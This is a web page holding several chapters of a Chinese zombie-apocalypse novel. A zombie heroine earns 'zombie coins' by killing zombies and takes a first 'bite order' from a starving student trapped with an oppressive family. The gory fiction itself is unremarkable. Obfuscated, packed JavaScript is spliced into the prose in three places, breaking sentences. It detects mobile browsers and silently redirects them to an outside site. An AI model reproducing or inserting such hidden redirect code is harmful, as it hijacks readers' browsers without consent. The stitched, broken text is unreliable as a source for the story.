在无尽的后悔中，车门大开，露出满满的丧尸。 好了，他要死了。 乘务员：“？？！！” 目光所及之处确实是丧尸，但全是躺倒死透的丧尸地毯。 甚至连站台上都没有一只活着的丧尸。 他抖着腿离开地铁，张大嘴巴望过去，不知道到底发生了什么。 但是不管如何，他活下来了。 活下来了。 · · 牧遥带着一身血到家了。 一车的丧尸杀下来总共获得了2781丧币，合计927头丧尸。 如果不是有时候一开车门，站台上有活人，丧尸像打开开关一样涌出去一大部分，她还能杀更多。 都这样了，怎么会有人想不开坐地铁呢？ 牧遥默默叹气。 她在家门口脱下所有的衣物，空荡荡地走进卫生间，打开淋浴头冲洗脸上和身体上淋上的血肉残片。 夏天就是不好，身体裸露面积太大了。 她感觉不出水的温度，随便拧开就冲洗着身上的血痂。 反正都是丧尸了，也不会着凉生病感冒。 她刚刚挥舞了那么多次的宝耙，要是普通人早就肌肉酸痛难以抬起胳膊了。 牧遥一点事没有。 宝耙固然坚硬，却依旧戳不穿丧尸的天灵盖，只能从眼眶下手。好就好在她打的是固定靶，一般丧尸也不会啃丧尸。 甚至到了后面，牧遥习惯了刺眼眶的动作，她和自己四肢的蓝牙似乎终于连接上了。 和人类时期的灵活还比不上，但起码可以活动自如，不再同手同脚像个丧尸一样僵硬。 哦，她就是丧尸。 牧遥手下搓洗的动作一顿，手微微颤抖着，捏起了一层皮。 白花花的皮肤下面露出了血红的肉，还有黄色的脂肪，看起来十分恶心。 牧遥：“……” 刚想东西一入神，不小心把胳膊的手皮搓下来了。 现在她的小臂脂肪、肌肉组织等内部组织全部都暴露在水中。 这……不会发霉吧? · · 滋啦—— 牧遥翻箱倒柜，从屋里找出了打包快递用的大捆透明胶，用自己的手指头艰难把掉落的皮贴在了自己的胳膊上。 努力对好，看准时机，贴下透明胶。 一、二、三。 很好。 在贴下去的那一刻还是歪了。 透明胶带勒着血肉脂肪，黄色和红色同时渗开，看过去有点像番茄蛋花汤。 配着惨白的胳膊颜色，这还是用白碗装的番茄蛋花汤。 牧遥不敢重新撕开再贴，只能咬牙缠绕胳膊三圈固定住。 反正不会掉就行。 「宿主，您现在积分也够，不如买个这个1448丧币的一键修复套餐？」 丧丧魔鬼的低语回荡在牧遥的脑子里。 「可以修复身上的所有损伤哦，您的下巴还有胳膊，还有腿都可以全部修复！」 “……” “？” 牧遥悚然低头，她的腿怎么了，她怎么不知道？ 托起自己的两条腿左看右看，牧遥终于发现了不对。 她的腿在刚挤进地铁的时候，因为太多的丧尸挤压，肉被压扁了一些，关节也有点错位。 但因为牧遥感觉不到疼痛，走起来也没觉得不对。 如果不是丧丧刚刚说的，她一时还没注意到。 这么一看她的身体也是破破烂烂的，总归是不影响行动，就这样放着吧。 牧遥叹口气，淡然接受了这一点。 她坐在屋里唯一一张椅子上，两眼放空。 牧遥的出租屋很简单，一间隔断房。 原来的户型是一个大约六十平的两室一厅，奈何房东不做人，硬生生隔成了两间房。 她这间房没有原装厨房，似乎是从原户型卧室隔出来的小房间，只有一个窄小的厨房，大约四平方。没有厅，只有一个卧室卧室大约十二平方，再加一个狭长的卫生间。 很小，洗澡都要坐在马桶上洗。 也就是位置远，再加上价格便宜，才吸引了很多初来工作的辛苦打工人。 牧遥也是如此。 她从周边的小城市努力考到了这座大城市，毕业后留下工作，再也没有回去。 现在她所谓的家也只有这个。 那么问题来了。 现在回家了，她该做什么呢？ 牧遥躺在床上，两眼放空，不知道下一步该做什么。 她闭上眼睛，试图像以往一样进入睡眠。 在牧遥母父刚走的时候，她趴在棺材边上一直睡。醒了睡，睡了醒，饭也不吃，就是不断强迫着自己进入睡眠。 似乎进入永恒的睡眠就能再次见到母父。 这后来也成了牧遥逃避现实的方法之一。 辗转寄宿的亲戚旅社，总会有不好的话语传来。更别提年幼的孩子最会学习长辈的言论，用清脆的话语说出诛心的话，最后只是长辈们笑着说：“童言无忌，不要介意啊。” 每当这时，牧遥就会闭上眼睛。 只要进入睡眠就可以逃避，或许每一次睁开眼睛，都能迎来一个崭新的世界。 牧遥睁开了眼睛。 她失去了睡眠。 「宿主宿主。」 丧丧悄悄出来蹦跶了。 它似乎很喜欢感叹号的造型，审美让人担忧。现在有个七彩感叹号在牧遥的脑子里四处旋转。 闹腾得很。 牧遥：“……我在。” 「您怎么不看看外界现在咋样了呀？」 七彩感叹号下方的原点变成个七彩时钟，绚丽的数字闪烁。 「现在丧尸病毒爆发已经有接近三个小时了捏。」 牧遥：“关我什么事？” 丧丧：「您是丧尸耶！」 牧遥：“所以？” 丧丧：「……」 救命，它的宿主是个没有生活目标的闲鱼，这该如何是好？ · · 丧尸病毒爆发5小时。 牧遥在床上躺了两个小时都没能顺利入睡。 丧丧在她脑子里哼着跑调的歌，似乎是摇篮曲，能感觉到它的良苦用心，但对于她来说没有任何用途。 盯着天花板的眼里没有一丝感情，只有无尽的空洞和虚无。 她缓缓眨眼，酸涩的眼皮盖上灰白的眼白，再度掀开。 瞳孔的消失不代表视力减退，反而视野拉大，不用低头，她能看到自己的鼻子和身体，微微侧头，身后一览无余。 鼻子耸动，闻不到一丝气味。 牧遥才真正明白，她已经是一头丧尸。 挺没意思的。 和常见的影视作品不大一样的是，她没有嗅觉。 按理说丧尸不是可以嗅到人味来攻击，怎么反而被加强的是视力？ 「哎呀，没当过丧尸当然不知道啦。」 丧丧听到牧遥的想法，出声解释。 「反正咱们这个品种的丧尸，最初加强的是听力和视觉。」 这个品种？还有其他品种的丧尸？ 最初？还有之后？ 牧遥的耳朵动了动，楼下传来剧烈的车祸声、惨叫声、丧尸的嘶鸣声、咀嚼声…… 伤者被咬断喉咙最后一丝气音都如同耳边传来一般。 她缓缓起身，走到窗边，撩起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这时候，她才想起手机，硬邦邦的手指头往兜里伸去。 “滋啦……” 清脆的撕裂声传来，她的裤兜被指甲划破了。 手机也啪嗒一声摔在了地上，屏幕朝上亮起。 没有任何新消息。 牧遥没有意外。 她缓缓蹲下，捡起手机解锁。 华国官方一察觉到不对，就立刻开始行动。先是给全体居民都推送了消息，说是外界流传着不明病毒，让大家注意安全，居家暂避。 后续也还在努力清理已经感染的人，试图控制住局面。 牧遥回想起在医院里医生曾经说：“这样的人最近很多。” 如果这样的人出现在警局、医院、甚至是军队里……那样这个世界还有救吗？ 社交媒体上更不用说，早就已经爆炸，一排热搜都挂上了“爆”字图标，从上到下都是“丧尸”、“咬人”、“变异”、“车祸”等等字眼。 过于庞杂的信息和视频，官方都屏蔽不过来，全部铺开在各个媒体上，让所有人都清楚认识到一点。 ——世界乱了。 牧遥划掉这些消息，一手托着手机，一手不大灵活地滑动打开了通讯录。 她很快找到目标的对象，点击拨打。 嘟嘟的声音断线音响起，接下来是“您的电话暂时无法接通”的通报信息。 电话被挂断了。 牧遥的脸色没有变化，似乎早就猜到了这一点。 连丧丧都没有说话，它对于牧遥的一举一动都能清楚知道，也明白刚刚拨打的对象备注是“舅舅”。 亲人失联，正常人可能已经恐慌起来，反复拨打可能再也无法接通的电话。 但是牧遥也不是正常人，她随手把手机放在窗边的柜子上，就像是完成了一个任务。 一个正常人应该去做的任务。 那么，正常人的下一步该做什么？ 牧遥脑子里想了一下，终于想起刚刚小区群里的通知，让大家清点家里的物资，如果有不足及时上报，方便之后的官方救助。 对了，清点物资。 察觉到牧遥现在的所思所想，丧丧沉默。 牧遥的世界顿时安静下来，她卡顿地起身，一一拉开房间里的柜子，不熟练地清点物资。 方便面一箱，平时她就靠这个维持生命体征，所以还有一些储备。水的话还有四桶，除此之外还有一袋米和一箱小面包。 新鲜的蔬果肉类一点没有。 没有也没有什么问题，反正她是丧尸，也不要吃东西。 「那个，宿主还是要吃点东西的。」 牧遥：“……” 她突然有点不好的预感。 牧遥：“我要吃点什么？” 丧丧支支吾吾：「肉类。」 不等牧遥追问，丧丧就一种摆烂的态度说了：「动物的肉、人肉是最好的。」 她有一种果然如此的感觉。 牧遥：“所以我平时就是杀丧尸来获得丧币维持精神，然后再吃动物肉和人肉来维持□□能量？” 丧丧啪嗒啪嗒鼓起了掌：「宿主真聪明。」 察觉到牧遥沉默又窒息的心情，丧丧补充说道：「吃人也没啥啦，您介意的话可以吃尸体。」 「一般没神志的丧尸是不会吃尸体的，他们喜欢吃新鲜的，所以没有丧尸和宿主抢吃的！」 牧遥：“……” 丧丧：「尸体也不能接受吗？哎呀咱们现在是丧尸，物种不一样没事哒。」 牧遥：“……” 丧丧绞尽脑汁，终于想起：「丧尸也能吃啦，路过您身边顺便啃一口就好啦。」 牧遥：“……” 好了，牧遥再一次发问： “我真的不能死吗？” 「哈哈，不行哦。」 “……” “……” 牧遥：“。” 5. 订单来咯 接下来两天，牧遥在家里躺得很平。 物理意义上的很平。 毕竟作为一个初生丧尸，她暂时没有进食的需求，也没有囤取物资的必要，甚至连身体上的基础护理都不需要。 根据丧丧所说，她只要一个星期进食一点肉类就行。这么一想，她“牢笼”里面关的刘志还能当一个储备粮。 就是难吃。 哕。 早上起床，牧遥尝试刷牙，把牙刷折断了。 塑料材质和尖锐的獠牙轻轻一碰，瞬息断成两截，牧遥感觉现在的咬合力似乎有点惊人。 而且牙膏也无法刷掉舌头上墨绿的舌苔，幸亏她现在并没有嗅觉，不然张口就能把自己臭死。 “丧尸都是这样的吗？” 她这样在心里问丧丧，丧丧解释道：「不是，宿主比较特殊。」 「宿主很有咬人的才能呢！」 牧遥：“……谢谢。” 好独特的才能。 她连叹气都做不到。 牧遥还是人类的时候，生活很简单。 工作忙碌的时候加班到晚上八、九点也是常态，基本地铁回来后立刻洗漱睡觉。 如果正常六点下班，回来也接近八点。吃个晚饭，再收拾一下差不多也可以睡觉了。 是了，她都在睡觉。 丧丧跟随牧遥的思路，问道：「那双休日呢？」 牧遥：“……” 双休日……她做什么来着？ 好像也是睡觉。 丧丧：「……」 睡醒了会看看小说或者电影来打发时间，一直到可以再次入睡。这么想着，牧遥走到书架边，抽出一本书，坐在了椅子上。 “轰！” 楼下又发出了刺耳的撞击声，似乎出了车祸。 在重击声后，传来的是试图反抗的击打声，极致害怕和绝望产生的呻吟和哭泣声，再到后面重新化为寂静。 还有窗帘拉开，甚至是窗户打开的声音，有人去看发生什么事了。 而牧遥把手下的书翻过了一页。 过了一会儿，又翻过一页。 屋内只有安静地翻书声。 丧丧：「……」 「宿主……」 丧丧的声音轻轻响起。 牧遥面色不改，在心中扣了个问号：“？” 丧丧：「您不去看看发生什么事了吗？」 丧丧的语气有点震惊，似乎不理解怎么会有人不去看热闹。根据它的认知，连小猫小狗都喜欢看热闹！ 你看看，楼上楼下被丧尸吓得躲起来的人们都壮着胆子出来了！ 手中的书页又翻过一页，牧遥：“为什么要去看？” 丧丧：「……」 丧丧很不理解，它觉得或许是牧遥手里的书很吸引人，或者正到剧情紧张的部分，所以不想起来。 那样也可以理解。 这么想着，它也“看”向牧遥手里的书。 古斯塔夫·荣格所著《红书》①。 牧遥目光正落在一行字上： “终结意义既是开始，又是结束。” 丧丧：「……6」 牧遥翻书的速度很快，丧丧也不知道她到底有没有看进去。 在这时，丧丧才彻底理解。 它的宿主是一个不像正常人类的丧尸！ 没有好奇心，没有兴趣爱好，没有朋友，甚至连欲望都没有！ 这样的宿主怎么才能赚得大量丧币，迈向美好明天啊？ 不行。 这样不行。 丧丧的脑袋瓜飞速运转起来。 它必须想办法引导宿主努力生活，发现当丧尸的美好，然后走上丧生巅峰！ 这时候，牧遥突然问道：“丧丧，为什么选了我？” 丧丧的美好幻想被突然打破，它下意识应声道：「啊？」 反应过来牧遥的问题后，丧丧似乎有点慌乱：「没有什么为什么呀，就是选了宿主捏。」 牧遥：“那你想要什么？” 牧遥并不觉得自己是一个好命的人，在物种改变末世降临的时候，会突然有个闪闪发亮的系统眷顾她，来让她重获新生。 她觉得系统一定有所图谋。 察觉到牧遥想法的丧丧沉默了一会儿，才说道：「我确实有需要的东西。」 牧遥：“这是我能给你的吗？” 丧丧：「是的宿主。」 丧丧的声音不像之前那样激动，而是压低了声线，语气平静甚至透露出一种沧桑。 在这个时候，才像是一个系统该有的样子。 书页又一次翻动。 牧遥：“一定得是我吗？” 丧丧：「……啊？」 牧遥：“可以换人绑吗？” 丧丧：「……啊？？」 「不行！您在想什么呢宿主，当然不可以！」 丧丧的语气重回激昂，刚刚的非人感消失了。 察觉到牧遥似乎对于不能换人这个事情有点失望，丧丧在她的脑子里狠狠叹气。 叹了半天也没影响牧遥的想法，又或许这才是牧遥的目的。它又狠狠深吸一口气，咬牙说道：「宿主，选您是有原因的。」 牧遥：“嗯，说来听听。” 丧丧：「不能说太多，现在的您的等级还不适合知道。」 等级？ 牧遥想起击杀地铁丧尸时弹出来的提醒，那时候说的是“初级丧尸”。 所以她要等到中级，或者是高级丧尸才能知道？ 丧丧没有出言否认，便是对她想法的肯定：「这也是对您的保护，我只能说一点。」 牧遥：“你说。” 丧丧：「因为您有愿望。」 牧遥翻书的手停下了。 被捻起的书页放回了原处，僵硬的手指一使劲，手下的书页裂开了缝隙。 露出的文字恰好是： ——我必须承受所有自己酿下的苦果。 牧遥沉默，把书合上。 愿望？ 这个词她感觉到十分陌生。 她已经很久很久没有许下任何愿望。 说实话，她也不知道自己想要的是什么。 于是牧遥继续问道：“我的愿望是什么？” 丧丧：「我不能说，这是您的愿望，您知道的。」 察觉到牧遥的思绪，丧丧继续道：「我只能透露一点点，这是我能说的极限了。」 「有一部分是复仇。」 复仇？ 这个词更少见了。 没有愿望，没有欲望的人，怎么会有复仇这么浓烈的情感。 想想就很麻烦。 牧遥沉默不语，内心思绪翻腾，被丧丧感知到紧张坏了。 于是它连忙说道：「咱们一起努力就能想起来了！想不起来也别焦虑哇，等您的级别高了，我就能多透露一点。」 接下来无论她用什么方式询问，脑中有多少想法，丧丧都不肯再出声。 繁杂的想法像从泡泡机中吹出的缤纷泡泡，没过一会儿就散了。破灭的声音噼里啪啦的。 牧遥：“好吧。” 想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699573|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不通就不想了。 她一直是这么过的。 · · 牧遥本想继续自己的躺平生活。 目前获得的丧币足够她兑换几个月的神志，至于身上破破烂烂的，她觉得也没多大影响。 撕拉—— 透明胶被撕扯的声音又一次传来，牧遥往自己的胳膊上狠狠裹上了一层新的透明胶。 确保没有腐烂的血肉掉下来后，她抬起手臂仔细观察。 最里面的肉微微发绿，看过去似乎…… 要长毛了。 牧遥：“……” 丧丧：「哎呀宿主放心吧，就是有点长毛，总比烂了好不是？影响不大的。」 牧遥：“如果要修复，是不是也要花丧币？” 丧丧觉得订单来了，一个哆嗦语气激动：「对的宿主，还记得之前提的1448的一键恢复身体破损套餐，最近有活动只要998丧币！」 998丧币。 还是好贵。 以防万一，牧遥跟丧丧确认道：“身上的破损都会恢复？” 丧丧：「对滴对滴。」 行吧，牧遥明白了。 现在就一个破烂胳膊，一个歪掉的下巴，一个扁扁歪曲的腿，花998不大值，她或许可以等身体破的厉害了再购买。 这样性价比比较高。 牧遥精打细算惯了。 这么一想，甚至被人打烂了是不是也可以购买一个，一键刷新？ 丧丧无奈：「是可以的……但是最好还是不要烂啦……」 牧遥：“为什么？” 她没有任何感觉，不痛不痒，对生活没有影响。 丧丧：「会臭。」 牧遥：“……” 看来是对其他人的生活产生影响。 对不起。 牧遥低头做出了认真反思的样子，仍然坐在椅子上看书。 门外传来了拖沓的脚步声和咚咚撞门声。 被加强的听力可以听出，是有一个丧尸在楼道上游荡，一趟又一趟，走来走去。 她们的小区楼道是回字形，每当丧尸拐弯的时候就会撞上角落的房门，发出“咚、咚、咚”的声响。 这个丧尸是丧尸爆发第一天晚上出现的，或许是在回家的途中不幸被感染，又或许是来见重要的人…… 不管怎么样，对于牧遥来说都无所谓。 但是对于在这个楼层生活的人，是一个很大的困扰。 她们不敢出门，每晚听着咚咚的声音如同索命符一样，在自己的耳边挥之不去。 无法安睡，因为这有可能是自己的未来。 这样的情况在世界各地都在上演。 面临毫无神志的丧尸都还算好的，更有大部分的人面对的是冠上了“家人”、“朋友”、“恋人”之名的魔鬼。 还是人类，做出的事却比丧尸还要超出想象。 人性是经不起推敲的。 也是因此，牧遥收到了第一个订单。 刚收到提醒的时候，她是懵的。 这是一个奇怪得要命的订单。 「您有一个新的咬了么订单，请及时确认查收哦~」 「咬了么提醒您，请在限时内完成咬人任务哟！」 「订单名称：咬咬单-01」 「订单内容：请在1小时内前往定海小区3幢213房间，根据单主何子来的需求，咬掉目标」 「订单奖励：身体破损消消乐*1」 「人类和平，需要您的维护」 ①心理学书籍。 6. 和以往一样 在现代社会，饿到极致是一种怎么样的感觉，相信很多人都没有经历过。 有一部分的人为了减肥会尝试不进食，但仍然会摄入水。 这几天何子来连水都没有。 她和刘芸平躺在床上，维持着一个消耗最少能量的姿势。 但任架不住饥饿感像是肚子里长了无数只手，反复在肚子中抓挠，抠着肚皮带来强烈的疼痛感，似乎想要冲破她的皮肤，不管不顾握住可以填满的物体。 好饿……好渴…… 手机还有信号，但漏液严重的屏幕让她看不清上面还有多少的电量。 实际上，她也没有力气去查看。 和强烈的饥饿感相对的是，屋外那浓厚又有点恶心的香味。 是炖鸡。 何子来的鼻子抽动着，清晰地辨别空气中的香气。 放了很多的香菇。 她讨厌香菇。 但是何忠宝很喜欢。 何子来这么想着。 身体对食物的渴望已经压过了个人喜好，她觉得如果自己的胃长了手一定会爬出肚子，一步步扯着身体，爬向香味的源头。 身旁的刘芸呼吸声渐弱，状态比她还差。 何子来抽了抽鼻子，有点想哭，但身体没有多余的能量。 毕竟妈妈把大部分的食物都留给了她。 手隔着裤子捏了捏裤兜里的钥匙，何子来的思绪随处乱飘。 再这样下去，她们会死吗？ 活着也没什么意思，但是总觉得很生气。从记事起发生的种种事情徘徊在她的脑子里，带来无尽的懊悔。 为什么她要和妈妈死在这样的家里呢？ 要是…要是… 要是他们不在就好了！ 在这个想法诞生的时候，她突然听到了奇怪的声音。 【叮——】 【您的咬了么订单已下单！】 【您的咬了么订单已被咬手接单啦，请等待咬手上门为您服务哦~】 何子来：“……” 什么东西？ 是她终于要死了吗？ 一段段记忆浮现，像是走马灯般闪回，提醒她一直以来都是怎么生活的。 逆来顺受。 这几日，她不知第几次发自内心地觉得，要是暑假没有回家就好了。 如果再给她一次机会，她一定不会回来。 · · 何子来是一名家在本地的大学生，刚刚放大一结束的暑假。 她本来在学校附近找了暑期工，没有回家的打算。谁知道学校今年暑期装修，不给留校学生提供宿舍，家里得知这个消息，不希望她在外租房花钱，就让她回家住。 “回家多好啊，不用出房租，别浪费那钱。”她妈妈这样说道。 可是，那样她要通勤来回接近四个小时，基本每天横跨一个城市。 实际上她已经和同学一起看好了房子，一起分一个单间，一个人半张床，不贵的。 “是啊，自己家吃饭也便宜，在市区点外卖多贵哦。”她奶奶这样说道，“那一份饭起码50块钱吧？哎哟贵死了，吓死了，赶紧回来吃。” 可是，家里的这些饭都是她来烧。 那样她要一早起来，做好早饭，再准备中午的备菜和便当，晚上回到家也要煮饭、收拾。 这些活一直都是她干。 “要么就别干了，不就什么托管班，能挣多少钱。”她爸爸这样说道。 可是，不干的话，到时候开学一个月只有800的生活费是绝对不够用的。 暑期两个月可以挣8000元呢，哪怕要给家里上交一半，省着点也能够她坚持到寒假继续打工。 这些想法滚了又滚。 最终，何子来没有把这些话说出口，只是安静地点头答应住在家里，通勤四小时来回上班。 丧尸爆发的时候，恰好是她的休息日。 忙了一个月的她终于有了一天的假期，虽然还是要早起做饭，但是已经算是难得的休息。 好不容易把家里卫生打扫一遍，屁股刚挨上餐桌的椅子，沙发上躺着玩手机的弟弟何忠宝突然发出了尖叫声。 屁股一触即离，何子来刚起身，奶奶从屋里旋风般冲了出来，嘴里念叨着：“怎么了怎么了？” 浑浊的眼睛瞥了何子来一眼，满是责怪。视线一个转弯，落到沙发上时满是担忧。 “有，有怪物！”何忠宝哇地一声大哭起来，把手里的手机丢到地上，发出了哐当的一声巨响。 看来是看到什么视频，把自己吓坏了。 常有的事。 越是不让他看，他越要看。 “哦哦手机坏，手机坏！”何奶奶动作娴熟地踢了一脚手机，扭身安慰哇哇大哭的乖孙子，“阿宝不哭哦，我们不看不看。” 何子来连忙上前捡回手机，心疼地擦了擦上面的裂缝。 又多了一条，屏幕都漏液了，但是没事，还能用。 看清屏幕里画面的那一刻，何子来脸色瞬间惨白，被摔坏的音量键无法调节，忽高忽低来回摆动，最后停止在一个让人耳朵震颤的高音量。 循环播放的声音传入了全家人的耳朵。 “这是什么？！！咬人了，杀人了！！！” “好多血……” 尖叫声带着刺耳的电流声充斥在整个房间，从房间里走出来的刘芸听到这个声音脸色更白了。 她紧紧握着手里的手机，看来是刷到了类似的消息。 “还不快关掉！吓坏阿宝了！”何奶奶对着何子来呵斥道。 何子来手在发抖，发抖的手更加控制不好音量键，声音只高不低，所有人都听到了下面的话。 “这是丧尸！丧尸爆发了！世界末日——” “不要过来，不要过来，啊——” 伴随着令人牙酸的声音，液体爆开的声音，高亢的尖叫声戛然而止。 “这是什么？！！咬人了，杀人了！！！” 视频重新开始播放。 但是视频中的人的生命不会重新播放，只会一遍又一遍重复死亡的过程。 何子来努力了一会儿，才成功把手机关机。 她把发烫的手机放进兜里，扭头看向同样面色不好的刘芸。 “阿宝不哭哦，都是骗人的！”何奶奶没当真，依旧安抚着怀里的何忠宝，“中午给阿宝烧好吃的好不好？” 何忠宝已经11岁了，小学五年级，此时哭得像个三岁宝宝。听到奶奶的话，他才止住抽噎问：“骗人的？” “骗人的，骗人的，没事。”何奶奶哄道，“我就说那些短视频很多都是ai做的，假的很！” 何奶奶平时经常看ai小孩视频笑得开心，现在为了哄孙子倒是承认这都是假的了。 “可，可是。”何忠宝哭到上气不接下气，“我刷到了十几个视频都在说这个……” “那也都是——” “妈。” 何奶奶的话被刘芸打断了。 “好像是真的。”妈妈举着自己的手机，上面是官方通报不明病毒出现，以及小区群里面传来的警告，“你也看看业主群的消息，官方都通报了。” “怎么可能呢？”何奶奶依旧不相信。 这时，楼下传来了一声超越人想象的惊怖尖叫声。 屋里的所有人听到声音后都控制不住发抖，何子来鼓起勇气走到窗边，往下望去。 下方一个男士倒在地上，身上止不住的抽搐，那抖动的频率透露着诡异，带着奇妙的节奏感，让人毛骨悚然。 还有一个看起来像是老太太的身影，正背对着她们，蹲在男士的身边，低下头，头部耸动。 “这……这……”妈妈也挪到了何子来身边，看到了这一幕。 “他还有救吗？”何子来下意识问道，她内心的理智已经知道，这人百分之八十都没救了。 “他！他不动了！”妈妈惊呼一声，很快又说道，“他站起来了！” 刚刚还在抽搐的男士突然暂停了一切身体机能，蹲在一旁的老太太也停止了动作。 下一秒，像是破旧的老式电脑开机重启。 男士的腿变得僵直，用力间支撑起了同样僵硬的上半身。 站起来后，何子来和妈妈才看清了这个男士的面部。 血肉模糊一片。 鲜血还在往外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699574|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涌出，脸部肌肉消失不见，只剩下一颗的眼球藕断丝连着，挂在眼眶下晃晃荡荡。 看起来要掉了。 脑袋空白一片的何子来突然冒出了这个想法。 还有一颗眼球呢？ 蹲着的老奶奶也站起身来，她都能听见她的关节发出的咔擦咔嚓声。 似乎身后传来了什么响动，男士和老奶奶一同转身，何子来和何妈妈终于看清了老奶奶的脸。 啊，原来还有一颗眼球在这里。 何子来脑子不清醒地想明白了。 老奶奶面色惨白，瞳孔只剩下惨白一片，她干瘪的嘴里叼着的，正是那位男士消失的眼球。 “噗叽。” 没有牙齿的牙床用力，眼球在口中爆开。 所以是完全靠牙床咬下了这些皮肤？那这些东西的咬合力……得有多惊人？ 何子来汗毛耸立。 刚靠近过来的何奶奶看到的就是这一幕。 她吓坏了，控制不住地发出了一声粗哑的尖叫。 何子来的家在2楼，距离楼下并不是很高，再在何奶奶大嗓门的加持下，此时尖叫声清晰地传入了两位新丧尸的耳中，为迷茫的他们指引了生活的方向。 他们立刻抖动着僵硬的四肢，挥洒着鲜血，向她们的方向走来。 何子来和刘芸吓坏了，俩忙拉着何奶奶远离窗边。 何忠宝早就不哭了，反而还在后面吵着：“你们在看什么？我也要看！” 或许是孙子的声音唤醒了何奶奶的神志，她又充满了力气连忙去抱住了宝贝孙子：“不看啊，不看，外面出事了。” “我就说视频是真的吧！你们还不相信！”何忠宝哼哼道，语气中竟然还带着点得意。 何子来和刘芸依旧站在窗边，手紧紧牵在一起，相互打气。 她们不敢再回头看向窗外，生怕那些人……还是东西？会顺着墙壁攀爬上来。 何子来的舍友有一个痴迷丧尸，也可以说是生存狂。她喜欢一切和丧尸相关的小说、影视作品，平时没少拉着她们寝室的人一起观摩学习。 多亏于此，何子来脑子里立刻冒出了丧尸的一些特性，让她的头脑迅速清醒过来。 “如果丧尸爆发了，别想着什么官方救援嗷，还有什么特效药，肯定得先活下去！” 舍友的话语回荡在耳边。 何子来背着手摸着窗户，小心翼翼上了锁，松开刘芸的手，三步并作两步跑向大门，想要反锁。 “不能锁！” 何奶奶的叫声从背后传来。 “可是奶奶，要是不锁，那些……那些……丧尸进来了怎么办？” 何子来的手已经放在了门闩旋钮上。 “国梁还没回来！”何奶奶焦急地说，“要给他留门啊！” 何国梁是何子来的爸爸，正常的工作日是要上班的，他在事业单位当个小领导，每天下午5点下班。 “我给他发消息了，没有回。”何妈妈握着手机，抖着声音说道，“电话一直在打，但是他谈合作习惯静音，都没有接……” “先锁上呢？等爸爸回来了我们再开！” 何子来坚持着，她的手不肯从门闩旋钮上放下。 “开什么玩笑！”何奶奶怒道，五官皱在一起，只有嘴大大张着。 “外面都是那鬼东西吧？国梁回来指纹锁咔嚓一下就开门了，你锁起来，要是他被攻击了怎么办？”何奶奶的语气越发高昂，和以往指责何子来的时候一模一样。 这让她下意识有点害怕。 何子来紧紧抿着嘴。 可是，外面好像情况已经很严重了。爸爸的工作单位虽然没有在市区，但也相对而言比较繁华，那里人很多。 爸爸有啤酒肚，也不怎么运动，跑得过那些丧尸吗？ 要是……要是爸爸回来了，但他被咬了怎么办？ 回来的，还会是爸爸吗？ 这样的想法在何子来心里转悠了一圈又一圈，每每流淌至嘴边又会被她默默吞下。 像往常那样。 “好的，奶奶。” 她这么说着，手从门闩旋钮上放下了。 和以往一样。 7. 幸运的一家 或许对于何子来来说，她们家算幸运的。 何奶奶总觉得，一切都能按照她想的发生。 在经过清理家里现有物资，业主群汇报家中人数，以及安抚在家尖叫打滚，闹腾地想要出去击杀丧尸拯救世界的中二弟弟后。 大约在下午2点左右，家中大门突然被打开了。 “门锁已打开。” 门锁的提示音传来，沙发上的三人吓得差点惊呼出声，又害怕引来新的丧尸，连忙捂住各自的嘴。 何忠宝早就吵累了，回屋躺在床上呼呼大睡。 只剩下何子来、妈妈和奶奶坐在沙发上，焦灼地联系何国梁，等待消息。 看清站在门口的人后，何奶奶激动地站了起来：“国梁！国梁你回来了！” 她激动地往门口走过去。 刘芸也是面露喜色，起身准备跟着何奶奶，却被何子来拉住了手。 那双手颤抖的厉害，但用了十足的力，紧紧抓着不放手。 刘芸的动作一顿，回头看向女儿，却对上一双盛满眼泪的双眼。 “爸爸……身上有伤……” 女儿带着哭腔的声音撞入耳中，在她的脑中冲撞，带来的回响声无尽又沉重。 脑袋嗡嗡间，刘芸僵硬转头。 哪怕群里面还有官方的通报已经提醒了这一点，被咬伤的人具备变异型，一定小心应对，不要存有侥幸心理。 或许是被什么划伤了呢？ 不一定是被丧尸咬了吧？ 这样的侥幸想法在看到何国梁手腕处的咬痕后，荡然无存。 何国梁的左手腕上有个深可见骨的咬痕，鲜血正顺着他的手腕一滴一滴地滑落。 ——不要让被咬伤的人进家门。 这是官方通知下来重复发送的消息。 可是这个被咬伤的人是她的丈夫，是她孩子的爸爸。 刘芸愣在原地，不知所措的时候，手上禁锢的力气骤然消失。 一个身影已经越过她，几步追上何奶奶，拉住了何奶奶。 “你这孩子……” “爸爸，赶快进来然后关门！” 越到这个时候，何子来的心反而冷静了下来，比在场的所有人都镇定。 她比所有人都知道该怎么办。 不能把爸爸推出门外，奶奶和弟弟一定会把门打开，让爸爸进来。 并且，那样爸爸将会暴怒，一定会疯狂拍打房门。 如果拍门声以及怒骂声引来更多的丧尸，内外都不安宁的情况下，所有人都会完蛋。 所以，得先让爸爸进来。 何国梁的意识还算清醒，听了何子来的话也没说什么。他没犹豫，大步迈进家里，反手锁上了门。 